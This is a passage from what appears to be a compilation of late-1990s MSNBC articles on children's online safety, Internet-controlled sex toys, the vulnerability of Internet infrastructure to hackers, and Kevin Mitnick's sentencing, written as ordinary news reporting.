       as kids are often better than their parents at playing make
       believe, they’re often better at keeping up with technology,
       too.
              Some are tempted to dismiss the problem as no
       different from your teen-age son sneaking a peek at
       Playboy — on paper, or online. No big deal. 
              True, experts say. The problem is not nudie Web sites.
       Most of those require credit card numbers, anyway. 
              “Pictures don’t hurt kids,” said Parry Aftab, author of
       “A Parent’s Guide to the Internet.” “People hurt kids…. As
       long as parents think the only real risk is the kids will see
       adult sex content, they won’t do anything.” 
              

            MSNBC’s parenting on the Net survey

              The real problem is people who lurk in chat rooms and
       Internet Relay Chat (IRC) channels who hope to lure your
       child into having online sex or a face-to-face meeting. It’s
       impossible to say how many pedophiles there are lurking on
       the Net, but if you doubt the severity of the problem, log on
       to almost any IRC channel. You’re unlikely to last 60
       seconds without being propositioned. 
              U.S. customs agent Marcus Lawson pretends to be
       young boys or girls for a living. He arrests about 30
       pedophiles a year — as big a caseload as he can handle.
       When MSNBC interviewed him, he was working an IRC
       “dad-daughter sex” channel. There were 73 users. (“Hmm.
       He wants to know if my daughter has breasts yet. I’ll tell
       him no.”)
              “I don’t think the Internet has created more pedophiles.
       It’s removed the societal stigma that kind of kept people in
       check,” he said. “Before the Net, pedophilia was a lonely
       business. Now 24 hours a day, seven days a week, you can
       validate yourself, find hundreds and hundreds of people
       who will tell you there’s nothing wrong with having sex with
       children.” 




       NBC’s Pete Williams
       reports on one man’s
       battle to catch
       pedophiles on the
       Internet.



              So the real trouble for your kids begins not with
       information coming into your computer but with what goes
       out of your computer. The problem is what your child says
       in e-mail, posts to a bulletin board or writes in a chat room. 
              And this is where things get complicated. 
              Think you can simply tell your child not to e-mail
       strangers? This reporter was put in a very uncomfortable
       situation doing this story. The bulletin board thread related
       to this piece had an entry from a poster identifying herself as
       a 17-year-old girl who felt her parents were too controlling
       — they read her e-mail, observed her online, etc. MSNBC
       felt it necessary to write to the girl to confirm her identity
       and age as authentic. But that left us in the uncomfortable
       situation of sending an e-mail to a minor, asking her to call
       us or send us her phone number. That’s exactly what she
       shouldn’t do. For better or worse, she did not respond to
       our e-mail. Her posting is included in the sidebar of your
       BBS postings. 
               


                What else can go wrong?

          ONLINE COMMERCE: The Internet is a defrauder's
        heaven. The Federal Trade Commission offers a number
        of suggestions. More... 
          HATE GROUPS: There's lots of negative racial, ethnic,
        religious, or gender-based propaganda on the Net -
        sometimes it's well disguised. More.. 
          LOSING YOUR IDENTITY: Know that it's easy for
        someone else to pose as you on the Net More.. 
          SPAM: Just an annoyance, but a growing one. More.. 
          VIRUSES: It's easy to pick up a virus using the
        Internet, even just reading your e-mail. More..
          HOAXES: The Internet has raised the Urban Legend to
        new heights. More.. 
          HARASSMENT: Even though it's just bits and bytes,
        it's still harassment if you tell someone to leave you
        alone and they don't. More.. 








              Many authorities suggest using technology to combat
       technology. About 75 percent of the parents responding to
       MSNBC’s survey said they’d consider using software to
       limit their child’s ability to communicate with others over the
       Internet. Filtering software like NetNanny, for example, can
       be set to prevent children from even typing personal
       information such as their name, address and phone number.
       But users responding to an MSNBC survey were evenly
       split over whether they’d read their child’s e-mail, as was
       suggested by the FBI when it issued a parent’s guide to the
       Net on Sept. 1. 
              “I _HONESTLY_ wonder if most of you realize what
       you are saying when you say read your kids e-mail,” said
       David Weaver on the MSNBC Technology BBS. “Reading
       a kids e-mail is like: Reading normal mail they send
       Evesdropping on all thier conversations Picking up another
       phone line when they are on the phone.”
              One response: “Hands off parenting is not the answer.
       Blind trust and faith are why you see kids pictures on the
       back of milk cartons. Now, keep in mind I am not going to
       go through all their mail every night. They should just be
       prepare to answer for anything if and when I do.” 
              

            See a collection of posts to the BBS

              Stretch that adult monitoring of e-mail argument one
       step further — Clay Slape of Big Springs, Texas, is
       incensed that his daughter’s school sent home information
       saying the district reserves the right to read student e-mail.
       “If my child writes me a personal e-mail, I don’t want some
       teacher reading it,” he said. Big Springs Independent School
       District officials say the point is moot because students
       aren’t allowed e-mail at all in the district — but the
       regulation comes from the state department of education, so
       expect concerned parents all around Texas to wonder out
       loud about their child’s First Amendment rights.
              While three-quarters of MSNBC respondents said
       they’d consider technological help, few actually use it.
       Filtering software has so far been a bust. A FamilyPC
       survey published late last year indicated only 4 percent of
       parents use parental control software. A survey of
       Baltimore school district parents done earlier this year
       produced similar results. 
              
       Net filtering software 
       PC Magazine editors preferred Cyber Snoop, noting that
       parents can modify the list of restricted sites. Most products
       keep their lists a secret. NetNanny also allows access:
       Program 
       
       
       Check MSNBC for reviews on these products - Ed
                    
       Cyber Patrol    www.cyberpatrol.com                                     
       Cyber Snoop     www.pearlsw.com                                     
       CYBERSitter     www.solidoak.com                                     
       Cybersentinel   www.securitysoft.com                                     
       Net Nanny       www.netnanny.com                                     
       SurfWatch       www.surfwatch.com                                     
       Time's Up       www.timesup.com                                   
       WatchDog        www.sarna.net/watchdog                                     
       WebChaperone    www.webchaperone.com                                     
       X-Stop          www.xstop.com 
                                    


              These programs work in a variety of ways, but
       generally either block your computer from a predetermined
       set of yucky Web sites; limit your computer to a
       predetermined list of Web sites; or block individual Web
       pages with offensive words. It’s easy to see the limitations
       of all three, and apparently parents have, too. 
              Aftab, who thinks filtering software can be an aid for
       parents, says some mistakenly believe the software is too
       technical to use or easy for clever kids to foil. Or they shrug
       and say, “I trust my kid.” 
              But experts say parents often aren’t really aware of the
       extent of the trouble their kids can get in on the Internet.
       That’s why this week is National Kids Online Week, and
       AOL’s Steve Case and Secretary of Education Richard
       Riley will be kicking off on Tuesday a nationwide parental
       education program called “America Links Up.”
              And that’s why Seattle police detective Leanne Shirey
       starts her seminars for parents by posing as a 14-year-old
       girl in an AOL chat room. She then lets parents watch as a
       pedophile “grooms” her. There’s never a need to fake the
       demonstration.
              “The problem is we educated kids before we educated
       the parents,” Shirey said. “Some of these people I see have
       never turned on a computer. They have to understand that
       even if they don’t have a computer at home, they have to
       have rules.”
              
       More safety resources
        If you see evidence of illegal activity, call local police and/or write to
       cybersmuggling@customs.sprint.com
        http://www.safekids.com Has tips for parents, including advice on
       handling the Net posting of the Starr report. Operated by Larry Magid, a
       syndicated columnist for the Los Angeles Times, the site is sponsored by
       the Online Safety Project, funded by America Online, Network Solutions
       and Disney.Com
        http://www.bcplonline.org/online Baltimore County schools' Parent
       Internet Education site. Includes a sample curriculum.
        http://www.americalinksup.org Home page for organization sponsoring
       National Kids Online Week events. Includes searchable database of about
       100 local educational events. Also includes sample curriculum.
        http://www.fbi.gov/tips.htm FBI's "A Parent's Guide to Internet Safety"
        http://www.cyberangels.org/Volunteer Internet watchdog organization that
       maintains lists of kid-friendly sites. Founded by Curtis Sliwa, Guardian
       Angels founder. 


              Baltimore County Public Schools held an America
       Links Up “teach-in” for parents Sept. 14. Coordinator
       Della Curtis says the survey of parents in the
       104,000-family district showed that most don’t know what
       their children are doing in school with the Internet, and that
       lack of information is a chief cause of anxiety.
              “I know of one parent who … took the keyboard with
       her when she left the home,” Curtis said. You might call that
       filtering hardware.
              Not terribly constructive. Here’s a collection of
       suggestions from several experts that’s a little more
       practical:
         There is no substitute for keeping up with the technology.
       Don’t shrug or say it’s beyond you. If it is, ask your children
       to train you. That will make sure you keep up with them.
         Learn how to examine your Web browser’s “History”
       files, or cache. Even if you don’t do it, make sure your
       children know it’s possible for you to know where they’ve
       been.. For Netscape Navigator 3.0, for example, it’s in
       C:\Program Files\Netscape\Communicator\cache. 
         Look around your desktop, start menu or applications
       folder for suspicious programs. 
         Keep abreast of all your child’s e-mail accounts;
       understand that free Web e-mail may allow your child to
       have plenty of e-mail accounts you don’t know about.
         If your child will chat, take some time to come up with an
       alias, or fake name. Aftab even suggests you give them a
       fake address and phone number so, if they’re being
       harassed, they have a way of vacating the situation. 
         Play around in Usenet and IRC chat rooms so you can
       talk to your children intelligently about them, and perhaps
       decide to ban their use. Contact your Internet provider to
       see what kind of Usenet groups are available; you can
       download an IRC program from this site.
              Of course, the Robert Fulghum-style advice is useful.
       Do the things you would normally do in the real world. Get
       to know your children’s cyberfriends — certainly don’t let
       them meet anyone in person without your attendance.
                                
       -=-
       
       Sex toys blaze tactile trail on Net
                 
       Adult industry’s newest twist: Devices that vibrate, tickle at
       click of a mouse
                                  
       Vivid Entertainment Inc. hopes to begin selling its
       "cyber sex suit," which  comes in both male and female models,
       early next  year.

                        
                                                     By Mike Brunker 
                                                               MSNBC

       Oct. 4 —  This is clearly not what AT&T had in
       mind, but entrepreneurs in the online sex
       industry have figured out a way to use the
       Internet to literally reach out and touch, tickle,
       buzz or scratch someone. And while
       “cyberdildonics” and the “cyber sex suit” may
       not move the Earth outside the world of online
       sex, as the first products to explore the Net’s
       tactile possibilities they are likely to touch off a
       commercial land rush to the new frontier.
       
           THE ONLINE SEX industry has long played a
      pioneering role in moving innovative Net technology like live
      video and interactivity into the mainstream. The creators and
      users of the cyberdildonics and the cyber sex suit say they
      expect their products to continue that trend.
             “If you can control a sex toy through your monitor, you
      can control just about anything,” said Allen Hadazy, president
      of SafeSexPlus.com, which has reported brisk sales of the
      cyberdildonics devices since their debut in April. “Controlling
      devices remotely through an everyday Internet connection isn’t
      the future. It’s here now.”
             But some observers of the technology sector say the
      primitive state of tactile technology relegates the latest in
      orgasmic gadgetry to the curiosities category.
             
      ‘IT DOESN’T REALLY EXIST’
               “I’m interested in why people are fascinated with
      this idea (sex at a distance), even though it doesn’t really exist
      and may never exist at that realistic, immersive level,” said
      author Howard Reingold, who first used the term
      cyberdildonics in his 1991 book “Virtual Reality.”
             The two devices employ very different strategies to reach
      their goal, which the creators of the cyberdildonics sex toys
      have dubbed “feel-good Internet.”
             In their case, the developers simply took an offline
      technology — electric vibrators and other sex toys — and
      created a devilishly simple but clever system that allows their
      speed to be controlled over an Internet connection.
              "It’s going to be very beneficial, I imagine, for
      military couples, and I think (there is) going to be a day when
      these toys are given as bachelor and bachelorette gifts much
      more than lingerie and strippers and stuff,” said Cheyenne, an
      adult-site webmistress who offers customers the option of
      using cyberdildonics in video-chat sessions. 
             
      SENSORS IN A NEOPRENE BODYSUIT 
             The cyber sex suit, on the other hand, is strictly a
      for-the-Net creation: a neoprene bodysuit equipped with 36
      sensors that, at the click of a mouse, can deliver a handful of
      sensations to the wearer. 
              "It may bring you to full orgasm; it may not,” said
      Lisa, a model who has served as a test subject for the cyber
      sex suit, which is expected to go on sale early next year. “...
      It’s not about that. It’s more about playing with your partner.”
             But David James, president and co-founder of Vivid
      Entertainment Inc., the suit’s developer, said that he expects
      the invention to turn the online porn business on its ear by
      allowing suit-wearing customers to participate.
              "The suit (will) … virtually revolutionize the 900-
      and 800-number-type business,” said James, a Welsh
      immigrant whose first job was hard labor in a coal mine in his
      native land. “…That actually is where the very big money
      would be in the future.”
             He also figures his Van Nuys, Calif.,-based company,
      which also produces adult television fare, operates a passel of
      porn Web sites and bills itself as the world leader in Digital
      Versatile Disc (DVD) technology, could profit by selling DVD
      discs with new themes and sensations each month to those
      who purchase a suit.
             
      SEX TOYS SELLING BRISKLY
             The early reception given the cyberdildonics line —
      coupled with the fact that the online sex business is now pulling
      in roughly $1 billion a year, according to analysts’ best guesses
      — suggests the appetite for such online accoutrements is keen.


             Hadazy, whose San Francisco-based firm developed the
      sex toys, which range in price from $29.99 to $99.99, said
      sales have climbed to between 50 and 100 units a day without
      any advertising. 
             Most of the sales have been to members of the Intimate
      Friends Network (commonly known as Ifriends), a 1.9
      million-member online community whose members provided
      the impetus by requesting a line of sex toys for both men and
      women that they could use in conjunction with adult video
      chat, Hadazy said.
             “The users of this service, over time, began to request that
      the intellectual stimulation they enjoy over the service be
      augmented with actual physical stimulation,” he said. “Some of
      the users suggested a few clever ideas and the result was
      SafeSexPlus.com, which markets and sells the cyberdildonics
      devices.”
             The key that allows a user to remotely control the devices
      is a photo diode that is attached to the computer monitor with
      a suction cup and responds to changes in brightness on the
      screen.
             “As those pixels brighten, the intensity of the device will
      increase; as the pixels darken, the intensity will decrease,”
      Hadazy explained. “The remote user, elsewhere on the
      Internet, is in effect in control of the brightness of a section of
      your monitor. And that’s what makes the device completely
      and utterly cross platform and supported by any Internet
      connection.”
             
      DIFFERENT SET OF DIFFICULTIES
             Developers of the cyber sex suit faced a different set of
      difficulties, namely mimicking sensations produced by real
      world touch. 
      Vivid Entertainment's David
      James and Lisa, a model
      and suit tester.
                                   James, the president of the
                            Van Nuys, Calif.,-based Vivid
                            Entertainment, said the suit
                            works like this:
                                   The initiator uses software
                            on his computer to select one of
                            five sensations — tickle,
                            pinprick, vibration, hot or cold
                            — and direct it to a specific part
                            of the suit wearer’s body. An
                            electronic signal is sent to a
                            DVD player, through the
                            Internet, to the suit wearer’s
      computer and finally to the suit itself, where it activates the
      appropriate sensor.
               “To be honest, it’s nothing magical,” he said. “I’m
      sure a pair of college students could have probably sat down
      and come up with something far more futuristic than we have
      here. The big advantage we’ve got, of course, is our marketing
      ability to first of all have it made and then be able to sell it
      worldwide.”
             He said the company has spent about $180,000 to
      develop the suit, which he said will retail for about $170.
             But before seeking approval from the Federal Trade
      Commission to market the suit, James’ team must conquer a
      final sticky problem: Ensuring that the range of electrical
      sources and delivery systems around the world don’t trigger a
      potentially dangerous electrical surge. 
             
      FEARS OF A SURGE
              "If, for example, a chap was wearing a pacemaker
      ... and he’s hooked up to a generator ... he could (be) fried or
      whatever by that extra power going through it,” James said.
             Despite such difficulties, some observers see the advances
      incorporated in the cyber sex suit, particularly its use of DVD
      technology, as an important step toward a new breed of
      interactive products that incorporate some sensory capability
      with high-resolution video for a more-realistic experience.
             “I can really see programs, like maybe golf or tennis or
      skiing ... where it would be necessary to have kind of a virtual
      environment,” said Julia Rivera, executive producer of Inside
      DVD magazine. “So say if you go the golf DVD, you would
      be able to connect and take a golf lesson. And because of the
      video capability of the DVD, you could select the best golf
      courses in the world (to practice on).”
             But researchers say the primitive state of tactile
      technology today means that dramatic advances will be
      needed before such programs can be created. And they warn
      that the computer generation’s holy grail — virtual reality —
      remains years if not decades in the future.
             In order to create a realistic computer-simulated
      environment that would allow a user to “touch” other
      inhabitants of the virtual universe, tactile sensors must be able
      to both register the computer user’s position and render
      feedback, said Ian Davis, director of technology with
      computer game-maker Activision.
             
      ‘A LOT OF OBSTACLES’
             “There are a lot of obstacles,” he said. “The underlying
      technology is pretty rudimentary right now. There is some
      ability to do ‘force feedback’ and some ability to measure the
      location and angles of joints on the human body, but it isn’t
      robust yet and is still years away from being technically solid.”
             Mel Siegel, a senior research scientist in robotics at
      Carnegie Mellon University, said the biggest problem is the
      complexity of the information required for the brain to
      determine the shape and texture of an object.
              "You put your finger down on a complex surface
      and you really don’t get a great deal of information from that,”
      he said. “You now move your finger over that complex surface
      and you start to understand the shape and structure of what
      you’re feeling. And I think the hard part (of simulating touch) is
      that dynamics.”
             That hurdle has stopped previous attempts to incorporate
      any but the most basic tactile sensations in computer
      applications, and it will again prevent the technologies
      pioneered by the cyberdildonics and the cyber sex suit from
      having much of an impact, said computer scientist and
      high-tech visionary Jaron Lanier, credited with coining the term
      “virtual reality.”
             “There have been things like this for a long time,” said
      Lanier, who recalled seeing similar suits and remote-controlled
      dildos more than a decade ago. “…I think there’s nothing new
      here except for the scale of it. There’s a lot of money and a lot
      more people on the Internet now, so from a social point of
      view this would be new. But I’m going to predict failure for it.”
       
      -=-
      
      Will hackers or spies knot the Net? 
                                                                            
      A decade after the ‘worm,’ network still vulnerable, experts say
                                                                           
       
                                                       By Mike Brunker 
                                                                 MSNBC

                                                                            

  
               
       July 23 —  Despite major security advances in the
       10 years since a Cornell student unleashed a
       computer program that crippled the Internet, the
       vast but vulnerable network still could be taken
       down by a single hacker bent on bagging the
       biggest trophy of all, security and law
       enforcement experts believe.
       
             "GIVEN THE VULNERABILITIES that we
       know about … and the kinds of tools that we’ve seen in the
       intruder community, it certainly is possible to bring the entire
       Internet down for a short period of time,” said Tom
       Longstaff, research and development manager at the
       Computer Emergency Response Team [CERT] at Carnegie
       Mellon University. “Now keeping it down for a long period
       of time is a much more difficult task.”
              The impact of even a short shutdown is hard to gauge,
       but experts say that the increasing reliance on the Internet
       by businesses big and small means there would be
       significant economic disruption. Michael Higgins, vice
       president for Global Integrity Corp., a security firm that
       does considerable work in the banking industry, estimates
       that a “major shutdown” of eight hours or more could cost 
             "billions of dollars" in lost economic opportunity. 
              While not discounting the threat to the Net from either
       a destructive hacker or a hostile foreign power, law
       enforcement and the computer security industry are focused
       on keeping intruders out of end-users’ systems — a logical
       priority given the increasing numbers of computer and
       network break-ins they are seeing.
              
       QUESTION OF ‘MOTIVATION’
              “There’s always a requirement of motivation for you to
       try to determine how likely something is,” said Michael
       Vatis, an FBI agent who is heading up the Justice
       Department’s newly formed National Infrastructure
       Protection Center [NIPC]. “And right now, there is a lot
       more motivation for people to use the Internet as a vehicle
       to go after particular targets … rather than [launch] an
       amorphous attack on the Internet itself.”
              But Longstaff says CERT, which serves as a
       clearinghouse for hacking reports and distributes security
       fixes as they become available, is seeing a corresponding
       increase in the number of attacks on the Internet itself.
                "We've seen a disturbing trend that shows more
       and more attacks aimed at the infrastructure of the Internet
       itself … at routers that route traffic around the Internet and
       … the name servers that make the Internet operate
       correctly by resolving how to send packets from one place
       to another and how to name them,” he said.
              The uneasiness of Longstaff and other security experts
       is heightened by the nagging thought that history might
       repeat itself.
              The seemingly farfetched idea of a lone Lilliputian
       bringing the global Gulliver to its knees became a reality
       Nov. 2, 1988, when Robert T. Morris, a Cornell University
       computer student, unleashed the “worm” that bears his
       name.
              The worm — a computer program designed to
       penetrate UNIX-based computers and then replicate itself
       on computers connected to the host — spread like wildfire
       through the Internet, which was less than 1 percent of its
       current size. Within hours it had infested at least 6,000
       systems and crashed the network.
               

                     Time line: hacking and the Internet
                                                    


              “What brought the Internet down wasn’t that the worm
       did any specific damage to the infrastructure,” said CERT’s
       Longstaff. “It simply took so much of the resources from the
       computers that it broke into and from the networks as it
       was trying to find new computers. … The Internet
       effectively shut down because of overuse, because there
       just wasn’t enough capacity to run the worm and anything
       else too.”
              
       FALLOUT FROM THE ‘WORM’
              Though Morris insisted he didn’t mean to crash the
       network, his worm turned assumptions about Net stability
       upside down, giving birth to the CERT at Carnegie Mellon
       University in Pittsburgh and generally jump-starting the
       entire field of computer security.
              The intervening years have seen countless
       improvements in computer and network security —
       including a “patch” to fix the UNIX flaws exploited by the
       Morris worm — and much better communication and faster
       distribution of solutions when new problems are discovered.
              But despite that progress, the infrastructure of the
       Internet — the major routers that direct traffic from the
       network’s high-speed trunk onto regional branches, the
       Domain Naming Service [DNS] system, and even the
       fiber-optic cables that carry the electronic packets around
       the world — remain at risk.
              “When you attack a network you can attack the
       channels, but the channels are multiple in the Net,” said
       N.E. Kabay, director of education at International
       Computer Security Association Inc.[ICSA], a for-profit
       security consortium. “But you can also attack the control
       structures that determine things like addressing and how
       information gets transferred through the Net. And in those
       circumstances, I think you have a real problem.”
              An example of that type of attack, albeit on a much
       smaller scale, occurred in July 1997, when the InterNIC
       domain registry operated by Network Solutions was
       invaded by a business rival. Eugene Kashpureff, operator of
       AlterNIC, pleaded guilty in March to designing a corrupted
       version of InterNIC’s software that quickly spread around
       the world to other DNS servers and prevented tens of
       thousands of Internet users from being able to reach many
       Web sites in many .com and .net domains. The software
       also “hijacked” visitors to InterNIC’s Web site, rerouting
       them to the AlterNIC home page.
              
       DENIAL OF SERVICE ATTACK
              Most experts say that some type of denial of service
       attack — an electronic bombardment of key routers with
       phony packets — would be the most likely way of
       deliberately crashing the network. 
              A similar scenario in which routers operated by
       telecommunications companies would be isolated from each
       other was floated by members of the Boston hacking group
       L0pht (pronounced “loft”), who testified in May before the
       Senate Government Affairs Committee that they could pull
       the plug on the worldwide network in less than 30 minutes
       and keep it down for “a few days.” 
              Representatives of the telecommunications companies
       that control the major Internet switching yards did not
       respond to requests for interviews.
              Marcus Ranum, CEO of Network Flight Recorder,
       which develops security tools for network managers, said
       that the main drawback to such an attack is that it would
       quickly draw heat to the source.
                "The problem is that to keep it down, you’d
       have to be actively trying to keep it down, which would
       increase the chance of the good guys catching you,” Ranum
       said. “… It’s kind of like the business of being a sniper in a
       bell tower: The more you shoot, the easier it is for other
       people to find you. And you’re not going to do a lot of
       damage unless you shoot a lot.”
              Ranum said that a master hacker could probably create
       a   remote mode of attack that would disable the
       Net’s key components while masking its creator’s identity.
              But denial of service attacks are by no means the only
       weapons at the criminal hacker’s disposal.
              Many experts believe an updated version of the Morris
       worm could again wreak havoc. 
              
       COULD WORM RETURN?
              Chris Goggans, a former member of the notorious
       hacker group Legion of Doom turned security consultant,
       created ripples of concern in 1996 by telling the Electronic
       Engineering Times that all a hacker would have to do is
       “take parts of the existing Morris code, easily combine it
       with some of the newer attack programs, and launch it
       again.”
              Or an attacker could employ tactics that have been
       used - such as mail-bombing - on a much grander scale.
                "Unsolicited commercial email [or SPAM]
       could be used … to attack the net,” said Kabay of ICSA.
       “…You could argue that this isn’t an attack on the Internet,
       but if it was done to millions of people, the increased traffic
       plus the unusability of email would certainly be viewed as an
       attack on at least a component of the Internet.”
              One of the hardest attacks to guard against is the
       low-tech approach — known in security circles as the
       “backhoe attack.”
              “Just go in and cut the fiber [optic cable],” as Goggans
       said in his 1996 interview. “Most of the domestic Internet
       and all of Europe is connected [at an Internet exchange
       point in Virginia], so you could wipe out everything for
       days. If you cut several times in several different places, you
       could wipe it out for weeks.”
              
       POROUS BY NATURE
              Part of the difficulty in securing the Internet’s
       infrastructure and protecting it from ancillary attacks lies in
       its structure, which was designed to facilitate
       communication, not thwart invaders.
              The Internet’s was “created to be used by a group of
       trusted people,” said Robert Hundley, a Rand Corp.
       researcher who in 1995 co-authored a report that labeled
       the Net a sitting duck for criminal hackers — “crackers” is
       the term preferred by non-destructive hackers — or hostile
       governments. “It has evolved way, way beyond that.”
              Still, warnings that the entire Internet could be taken
       out aren’t given more credence largely for one reason,
       security experts say: It’s difficult to envision why someone
       would want to do it.
              In the case of a single hacker, it would take a gifted, if
       twisted, individual who most likely be driven by egotism and
       malice.
              “You’d have to have … that destructive mentality …
       and this is not an unsophisticated attack,” said Higgins, the
       Global Integrity Corp. “… I just don’t see that type of
       threat present today, not from an individual.”
                "I think the only case where it would be likely
       to happen is if you had somebody who wanted to move
       themselves into the ranks of the elite superhackers and was
       trying to show off,” said Ranum, adding that a hacker who
       nailed the Net would quickly become a pariah among his
       peers.
              “Somebody would do that and it would happen for a
       little while and then get fixed. And then we’d hunt that guy
       down and kill him,” he said with no hint that he might be
       joking.
              Some experts say a more likely scenario would be one
       in which a terrorist group or hostile foreign power would
       bring down the Internet as part of a larger effort to sow
       confusion and fear in technologically advanced nations.
              “Right now, what we can say publicly is that we do
       have information that several countries are developing the
       policy, the doctrine and the technical capability to carry out
       that sort of attack as one component of a military strategic
       plan,” said Vatis, head of the Justice Department’s NIPC,
       the infrastructure protection center. “And we have to be in
       position to defend against it and also to get early warning of
       it.”
              
       ‘INFOWAR’ FEARS
              The NIPC is the biggest single indication that the U.S.
       government is serious about coming to grips with the threat
       of cyberterrorism. 
              In fiscal 1999, the office will have 125 employees at its
       headquarters in Washington, D.C., agents in each of the
       FBI’s 56 field offices and eight regional computer squads
       with “robust capabilities equipment” that will allow them to
       conduct field investigations, Vatis said.
              But while the threat of Internet terror has gotten
       attention on Capitol Hill in recent months, some in the
       private security industry believe the danger is being
       overblown.
              “The [government] has a vested interest in expanding
       its domain into cyberspace,” said Ranum. “I don’t really see
       any threat there. It’s not that it’s impractical, but the U.S.
       certainly could run without the Internet. It’s not as if the
       country would grind to a halt. It’s not as if the country
       would be unable to fight a war if the Internet were down. ..
       The whole scenario is very attractive in a kind of Tom
       Clancyesque way, but I really think it’s pretty silly.”
              Vatis calls such criticism “baseless.” 
               "The idea that this is all being invented or
       exaggerated by the government is belied by the record that
       exists out there, he said, adding that the FBI currently has a
       case load of nearly 500 hacking cases, an increase of 130
       percent over the past two years. 

                             Whether or not an attacker
                      actually brings down the Internet,
                      experts agree, the global giant will
                      remain at risk for some time to come
                      because research has been
                      concentrated on issues deemed more
                      pressing.
                              “We’re doing more and more on
                      the Internet, but if you look at the
       security issues… we are really targeting the realm of
       confidentiality and integrity of [financial] transactions …
       [not] the availability issue,” said Higgins of Global Integrity.
       “That is our most vulnerable point, and it will continue [to
       be] for the foreseeable future.”
              
       -=-
       
       
       Mitnick to serve 5 more months, repay $4,125 Hacker barred from
       using high-tech gear for three years
                                                     By Mike Brunker 
                                                               MSNBC



  
               
       Aug. 9 —  Nearly 4 1/2 years after he was taken
       into custody, notorious hacker Kevin Mitnick on
       Monday was sentenced Monday to 46 months in
       federal prison and ordered to pay $4,125 in
       restitution. With credit for time served, the
       conqueror of computer systems at several
       high-tech companies could be released in
       January.                                                                     
       
            U.S. DISTRICT Judge Mariana Pfaelzer sentenced
        Mitnick, 35, before a packed courtroom that included his
        father, Alan Mitnick, and dozens of his supporters, many of
        whom believe that he is being severely punished by the
        government to set an example to other would-be hackers.
               Pfaelzer, who said it would be “impossible” for
        probation officials to monitor Mitnick once he is released
        from custody, nonetheless banned him from using
        computers, cellular telephones, televisions or any equipment
        that can be used for Internet access for three years.
               
        RESTITUTION CALLED ‘TOKEN’
               She called the $4,125 in restitution a “token” amount
        given the damage she said he inflicted on companies whose
        computers he infiltrated, including Motorola and Sun
        Microsystems Inc. She said she settled on the relatively
        small amount because she considered it unlikely he would
        be able to earn more than minimum wage given the
        prohibition on computer use. 


              “I want to make a restitution order that is much, much
        larger,” she said in rejecting the prosecution’s request that
        he be ordered to pay $1.5 million to his victims. “But I can’t
        be sure he can pay it, and any non-payment is going to be a
        violation of the terms of his release.”
               Prosecutors initially accused Mitnick in a 25-count
        indictment of causing an astonishing $80 million in damage
        by breaking into the computer networks of Motorola, Sun
        Microsystems, NEC and Novell, among others, preceding
        his arrest. The charges carried a maximum penalty of nearly
        200 years in prison, though sentencing guidelines would
        have precluded a sentence anywhere near that harsh.
               But under a plea bargain announced in March, Mitnick
        stipulated that he caused $5 million to $10 million in damage
        while invading computers. 
               He has been in jail since February 1995, first serving
        time for breaking probation on an earlier conviction and
        fleeing authorities. Authorities repeatedly argued against
        granting bail to Mitnick, charging that his technological
        wizardry posed a serious threat to the public.
               
        CAPTURED IN NORTH CAROLINA
               Mitnick, who spent 2 1/2 years on the run before his
        1994 capture by federal agents in North Carolina, arguably
        is the world’s most notorious hacker, the subject of
        numerous books and a soon-to-be-released film. 
               

                 His long wait in jail also has made him a hero and a
        martyr to other hackers and “crackers,” the former’s
        preferred term for those who aim to profit by breaking into
        computers. They say his lengthy wait without a trial was an
        attempt to intimidate other would-be hackers.
               “When you realize that you have to wait 3 1/2 years for
        a trial, even if you’re innocent you’re going to plead guilty,”
        Eric Corley (a k a Emmanuel Goldstein), editor of 2600 —
        the Hacker’s Quarterly, told MSNBC last year.
               But government attorneys call the case as a
        by-the-book prosecution of a repeat offender who just
        happens to be a notorious hacker and deny that he is being
        singled out. 

            
                 "He is being prosecuted because he violated the
        law,” said Chris Painter, an assistant U.S. attorney. “… He
        violated a lot of laws. 
               “Is it true that computer hackers should think twice
        before violating the law? Yes, it is our position they always
        should do that. … But Kevin Mitnick is not being singled
        out.”
                          
        WON RIGHT TO USE LAPTOP
               Because most big hacking cases have been settled
        prior to trial, Mitnick’s case had been expected to set
        numerous legal precedents. But despite repeated avowals
        through his attorney to take his case to trial, Mitnick agreed
        to the plea bargain nearly four years after he was jailed.
               Still, Mitnick blazed a small legal trail by winning the
        right to use a laptop computer at the jail to review the
        mountain of electronic evidence the government has
        compiled against him — enough data to fill a library if it
        were printed out, Randolph said.
               During numerous hearings on the matter, prosecutors
        urged Judge Pfaelzer to deny Mitnick access to a computer
        at the jail — even one without a modem — arguing that he
        could somehow use it to engineer an escape or otherwise
        compromise security at the jail. The judge sided with the
        prosecution during a series of hearings on the matter but
        reversed course in March 1998 and allowed Mitnick to
        review evidence on a laptop in the jail’s attorney-client
        conference room. The two sides then spent months
        wrangling over procedures for the review before Mitnick
        was allowed to begin poring over the computer files in
        January.
               That was virtually Mitnick’s lone success in pretrial
        legal skirmishes.
               Motions to set bail for him were rejected by the judge,
        who agreed with prosecutors that he was a flight risk and
        posed a danger to the public. The denial of bail was upheld
        by the 9th Circuit Court of Appeals in San Francisco. 
               Nor did the defense have any success in persuading
        Pfaelzer to allow the defendant access to encrypted files or
        “hacking tools” that prosecutors say were in his possession
        when he was arrested. 
               
        A CAUSE CELEBRE
        
               The perception that Mitnick is being harshly treated by
        the government has made his case a cause celebre among
        hackers and Internet libertarians. 
               There are numerous Web sites devoted to his legal
        battle and scores of Web sites have been altered by
        sympathetic attackers to include calls for his freedom,
        notably the UNICEF and Yahoo! home pages. 

        Mitnick and his capture have been documented in several books — most
        notably “Takedown” by New York Times reporter John Markoff and
        Tsutomu Shimomura, the computer  security expert who helped the
        government track Mitnick down, and “The Fugitive Game — Online with
        Kevin Mitnick,” by Jonathan Littman.
        
               Adding to his notoriety is an upcoming feature film of
        “Takedown,” which is expected to open later this year. The
        film, which is being produced by a division of Disney’s
        Miramax Films, will star Skeet Ulrich as Mitnick.
               An early version of the script drew howls of outrage
        from Mitnick supporters because of numerous liberties
        taken by the writers in the interest of creating dramatic
        tension. 
               Among the untruths: During the pursuit, Mitnick clubs
        Shimomura with a garbage can lid, gashing his head (they
        never met until after Mitnick’s arrest); he obtains free phone
        calls by whistling into the phone a la legendary phone
        phreaker Captain Crunch; he rigs a radio call-in contest to
        win a TV, a stunt performed in real life by fellow hacker
        Kevin Poulsen; near the end of the movie he vows to
        escape during a jail conversation with Shimomura, saying,
        “I’ll be seeing you. All I need is a dime and a phone.
        Sometimes, if I’m lucky, I don’t even need the dime.”
               
               The Associated Press contributed to this report.

       -=-
       
       
      Hackers: Knights errant? or knaves?
      
      By Mike Brunker 
      MSNBC

